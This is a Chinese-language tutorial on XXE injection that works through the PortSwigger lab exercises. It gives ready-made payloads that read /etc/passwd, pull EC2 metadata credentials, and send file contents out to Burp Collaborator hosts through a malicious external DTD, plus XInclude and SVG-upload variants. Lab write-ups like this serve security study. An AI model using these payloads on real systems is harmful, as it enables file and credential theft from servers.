一:漏洞原理
1、XXE
-
XXE全稱xml外部實體注入
-
XML:是一種用于標記電子文件使其具有結構性的標記語言,提供統一的方法來描述和交換獨立于應用程序或者供應商的結構化數據,它可以用來標記數據,定義數據類型、是一種允許用戶對自己的標記語言進行定義的元語言
-
DTD:是一種描述XML數據結構的規則,可以包含實體定義,這些實體允許XML數據引入外部資源,如果文檔中應用了DTD,解析器會嘗試加載和解析DTD文件
-
參考鏈接:https://blog.csdn.net/fuhanghang/article/details/123272261
2、XXE原理
XML外部實體注入是一種web安全漏洞,攻擊者可以通過引入自定義的實體來強制服務器加載外部資源。它通常允許攻擊者查看應用程序服務器文件系統上的文件,并于應用程序本身可以訪問的任何后端或者外部數據進行交互。XXE漏洞觸發點往往是可以上傳xml文件的位置,沒有對上傳的xml文件進行過濾,導致可以上傳惡意的xml文件讀取文件或者獲取shell.
3、XXE特征
1、url是 .ashx后綴
2、響應體是xml
3、看請求包中有一個Accept:看看其中有沒有xml
二:PortSwigger靶場
靶場復現參考鏈接:https://blog.csdn.net/qq_53079406/article/details/128642758
1、利用外部實體檢索文件
(1)原理:構造惡意的xml數據,引入外部實體,讀取服務器的文件
(2)漏洞點
bp抓包分析:發現提交了xml數據:
- <?xml version="1.0" encoding="UTF-8"?> 聲明這是一個XML文檔
- 表示是根節點
- 1 子節點:表示產品的標識號
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>1</productId><storeId>1</storeId>
</stockCheck>
構造payload讀取文件
- 外部實體定義 <!DOCTYPE>表示文檔的類型
- <!ENTITY xxe SYSTEM "file:///etc/passwd"> 定義一個外部的實體
- xxe是實體的名稱、SYSTEM:引入外部的資源 、file:///etc/passwd :表示文件的路徑,表示需要讀取的文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId>
</stockCheck>
2、利用XXE執行SSRF攻擊
(1)原理:引入外部實體惡意的xml代碼讀取遠程服務器的敏感數據,使用<!ENTITY>定義外部實體,然后通過SYSTEM指向EC2元數據終端點,&xxe;就是將惡意的實體插入的XML數據的字段中
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">
]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId>
</stockCheck>
成功讀取到了敏感數據
3、具有帶外交互的盲XXE
(1)原理:利用外帶技術,也就是bp的Collaborator可以捕獲請求和響應包
(2)和上述的情況有點類型,但是沒有回顯,需要利用外帶技術,也就是bp的Collaborator,參考鏈接:
https://blog.csdn.net/wang_624/article/details/123172519
和問題2的情況有點類似,直接構造payload(其中http://8hqnvlwfu9tl88940w80p9w1zs5it7.burpcollaborator.net是bp生成的)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY xxe SYSTEM "http://8hqnvlwfu9tl88940w80p9w1zs5it7.burpcollaborator.net">
]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId>
</stockCheck>
成功外帶看到相應包
4、通過 XML 參數實體進行帶外交互的盲 XXE
(1)嘗試使用例三中的payload進行測試,回顯"Entities are not allowed for security reasons",可能是增加了一些過濾限制
(2)使用參數實體進行繞過:
- 常規實體XML在正文中引用,而參數實體在只能在DTD內部用
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://389f7odkpxhdbcf42849rsqcx33vrk.burpcollaborator.net">%xxe;
]>
<stockCheck><productId>1</productId><storeId>1</storeId>
</stockCheck>
5、利用盲XEE使用外部惡意DTD泄露數據
(1)目標:
- 泄露服務器上的/etc/hostname文件的內容,使用Burp Collaborator 或實驗室提供的漏洞利用服務器接收泄露的數據。
(2)實現原理 - 構造一個惡意的DTD文件:他會加載服務器的指定文件并通過外部網絡發送到攻擊者的服務器中(通過網絡請求將數據外帶)
- 然后xxe注入訪問我們上傳的DTD文件讓其執行然后將敏感數據帶出到bp的服務器中
(1)首先還是盲XML,需要利用外帶技術 - <!ENTITY % file SYSTEM "file:///etc/hostname"> :定義一個參數實體file,SYSTEM讀取指定文件內容
- 定義eval參數實體,
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://l5rx46a2mfev8ucmzq1roanuul0eo3.burpcollaborator.net/?x=%file;'>">
%eval;
%exfil;
https://exploit-0a5a0085035d308680ed8eba01a8007d.exploit-server.net/exploit
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a5a0085035d308680ed8eba01a8007d.exploit-server.net/exploit"> %xxe;]>
成功外帶拿到信息
6、利用盲XXE通過錯誤消息檢索數據
原理:將惡意的DTD文件托管到VPS上,然后在xxe注入引入這個文件的鏈接來執行DTD中的代碼
(1)請使用外部 DTD 觸發顯示文件內容的錯誤消息。/etc/passwd
DTD文件是一種定義XML文檔結構的文件,主要用于執行XML文檔的合法元素以及屬性、子元素的排列順序等規則
(2)上傳惡意的DTD文件,然后獲取惡意的DTD文件的url位置
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;
(3)xxe注入外帶信息(參數實體)
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0ac3001e03dad7988092c570014c00a2.exploit-server.net/exploit"> %xxe;]>
7、利用XInclude檢索文件
- 相比于前面的實驗,我們無法控制整個XML文檔,因此無法定義DTD來啟動經典的XXE攻擊
- 但是可以使用
XInclude/etc/passwd
語句來注入
XInclude是一種xml技術,用于在一個XML文檔中動態插入其他XML文檔或者文本內容。XInclude的工作機制是基于XML解析器的擴展支持,通過xi:include標簽、可以引入外部數據并將其內容直接嵌入到XML文檔中
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>
注入測試
8、通過圖像文件上傳利用XXE
(1)原理:一些應用程序允許用戶上傳圖像、并在上傳之后處理或者驗證這些圖像。如果支持上傳SVG圖像但是服務端沒有對xml數據進行嚴格的校驗的化,那么攻擊者就可以提交惡意的SVG圖像,從而達到XXE漏洞的隱藏攻擊面
(2)創建 1.svg 其中內容包括如下
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
(3)在博客文章上發表評論,并將此圖像作為頭像上傳,然后訪問該圖片就可以執行xml代碼